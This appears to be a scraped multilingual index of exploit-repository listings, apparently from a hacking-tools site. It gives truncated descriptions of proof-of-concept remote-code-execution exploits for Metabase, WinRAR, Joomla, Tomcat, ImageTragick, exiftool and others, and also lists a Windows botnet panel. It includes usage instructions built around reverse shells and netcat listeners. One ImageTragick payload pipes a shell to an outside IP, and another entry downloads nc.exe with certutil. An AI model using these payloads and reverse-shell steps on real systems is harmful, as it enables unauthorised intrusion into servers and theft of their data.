CVE-2023-38646

Metabase 预认证RCE POC - CVE-2023-38646 Metabase开源版0.46.6.1之前及Metabase企业版1.46.6.1之前存在漏洞，允许攻击者在服务器上执行任意命令。我直接编写了脚本以在攻击者机器上获取反向shell。 用法 该脚本需要目标URL、攻击者IP和端口。此漏洞利用无需提供设置令牌，因为脚本会尝试从 /api/session/properties 获取它。 确保在攻击者机器上启动netcat监听器，使用以下命令： nc -nlvp Port 运行POC脚本时使用： -u - 目标URL Metabase -ip - 攻击者IP -p - 端...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc 非常重要 我希望你先看这个链接 https://github.com/b1tg/CVE-2023-38831-winrar-exploit 我没有编写完整的漏洞利用程序。 他编写了漏洞利用程序 。 https://github.com/b1tg 他所做的只是修改了一些简单的东西，以通过 script.bat 文件获得一个反向 Shell 如何运行 python cve-2023-38831-exp-gen.py 别忘了修改 ip 和端口的值 使用任何 pdf、png 或 jpg 文件 POC 文件 .pdf...

CVE-2022-41544

CVE-2022-41544 利用脚本 此仓库包含一个用于利用 GetSimple CMS 中 CVE-2022-41544 漏洞的脚本。该脚本执行多个步骤：检查漏洞、泄漏 API 密钥、设置 Cookie、获取 CSRF 令牌、上传 shell 以及触发 shell。 变更与改进 1. 弃用警告处理 ：移除了不再需要的 telnetlib 导入，该模块对脚本功能无影响。 2. 增强的错误处理 ：为 HTTP 请求和 XML 解析增加了更稳健的错误处理。 3. 改进的用户反馈 ：为每一步提供详细反馈，帮助用户了解脚本进度和遇到的问题。 4. 输入验证...

BlackNET

BlackNET 😈 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro desarrollado con VB.NET. Acerca de BlackNET 🤓 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro construido con VB.NET. Este controlador de botnets viene con muchas funciones y ...

jankybank

jankybank kozmer/log4j-shell-poc から着想を得て、大部分を借用しています。 eurogig/log4sheller と連携します。 Log4j をベースにした CTF を作成するために使用します。...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE root@kitploit: 由 TheAlchimist 创建 cve-2023-27163-maltrail.py 用于反向Shell...

faxhell

faxhell "Fax Shell" Fax サービスと Ualapi.dll に基づく DLL ハイジャックを使用した Proof-of-Concept のバインドシェル。 詳細は次の記事をご覧ください: https://windows-internals.com/faxing-your-way-to-system/ How to use Ualapi.dll をビルドし、c:\windows\system32 に配置します。 Fax サービスを起動すると、DLL が読み込まれ、エクスポート UalStart が呼び出されます。UalStart...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred 此 \space 漏洞利用 \space 可能 \space 违反 \space 该 \space 法律.$$ $$\colorred\space 你 \space 应该 \space 为 \space 你的 \space 行为 \space 负责.$$ $$\colorred仅 \space 演示 \space 目的.$$ 描述 open-webui 中非管理员用户通过 CSRF 实现 RCE ，该漏洞允许攻击者发送包含内置 JavaScript 的恶意 HTML 文档，该 JavaScript 将上传并执行包含反弹 shell...

CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： root@kitploit: 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： root@kitploit: 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 该仓库用于实习测试任务。 步骤 0：克隆此 Git 仓库 root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 步骤 1：创建 Docker 容器 启动 Docker 守护进程 root@kitploit: sudo systemctl start docker.service 启动 Docker 容器 要启动 Docker 容器，请导航到 wpcontainer 目录 root@kitploit: cd...

CVE-2020-1938

cve-2020-1938 1. 读取文件： python3 tomcat.py URL -f /WEB-INF/web.xml 示例： python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090 2. 执行shell add --rec 1 参考： https://www.t00ls.net/articles-55062.html...

keimpx

はじめに keimpxはオープンソースツールで、Apache License 2.0の下で公開されています。 SMB経由でネットワーク全体の有効な認証情報を迅速に確認するために使用できます。認証情報は以下の形式が可能です： ユーザー名 / プレーンテキストパスワード の組み合わせ。 ユーザー名 / NTLMハッシュ の組み合わせ。 ユーザー名 / NTLMログオンセッショントークン の組み合わせ。 攻撃フェーズ後にネットワーク全体で有効な認証情報が発見された場合、ユーザーは接続先のホストと使用する有効な認証情報を選択するよう求められます。その後、インタラクティブなSMBシェル...

keimpx

Introduction keimpx is an open source tool, released under the Apache License 2.0. It can be used to quickly check for valid credentials across a network over SMB. Credentials can be: Combination of user / plain-text password. Combination of user / NTLM hash. Combination of user / NTLM logon...

Codiad-CVE-2018-14009

安装 codiad @ git clone https://github.com/Codiad/Codiad.git 复现步骤 1. 在 ubuntu 服务器上使用 Codiad 2.8.4（最新版本）搭建一个易受攻击的环境 root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects 「LABCAT Processing Projectsにおける危険なタイプのファイルの無制限アップロードの脆弱性により、攻撃者はWebサーバーにWebシェルをアップロードできます。これにより完全な侵害につながる可能性があります。」 🧑‍💻 エクスプロイトの説明 このPythonエクスプロイトスクリプトは、脆弱性のあるProcessing Projects...

put2win

put2win PUT HTTPメソッドを悪用してシェルを取得するためのスクリプトです。 インストール root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh 使用方法 root@kitploit: Script to automate PUT HTTP method exploitation to get shell. Options: -t TARGET Target URL/IP e.g. 192.168.1.10 -p PORT Target PO...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 用于 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用程序。 关于漏洞 CVE-2021-22204 由 William Bowling @wcbowling 发现并报告。 此利用程序通过研究 CVE 报告后的 exiftool 补丁制作而成。 前置条件 已安装 exiftool 和 djvulibre 工具。如果你使用 Debian 或 Ubuntu，可以通过以下命令安装： root@kitploit: sudo apt install djvulibre-bin exiftool 如何运行： 修改...

CVE-2019-0232

CGI RCE 漏洞利用 通过 CGI 批处理端点实现未认证 RCE 的 PoC。使用 certutil 将 nc.exe 下载到目标主机，并触发反弹 shell。 设置 1. 托管 nc.exe （在 nc.exe 所在的同一目录下）： root@kitploit: python3 -m http.server 80 2. 启动你的监听器： root@kitploit: nc -lvnp 1234 3. 运行漏洞利用程序： root@kitploit: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip ...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP はシェルをリバース接続できる この記事とツールは技術共有のみを目的としており、違法な目的での使用は固く禁じられています。違反した場合、発生するすべての結果は自己責任となります。 コマンド実行EXPのトリガー 1. VPSでRMIリスナーを起動（ポート9999） root@kitploit: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPSでncリスナーを起動（ポート64444）...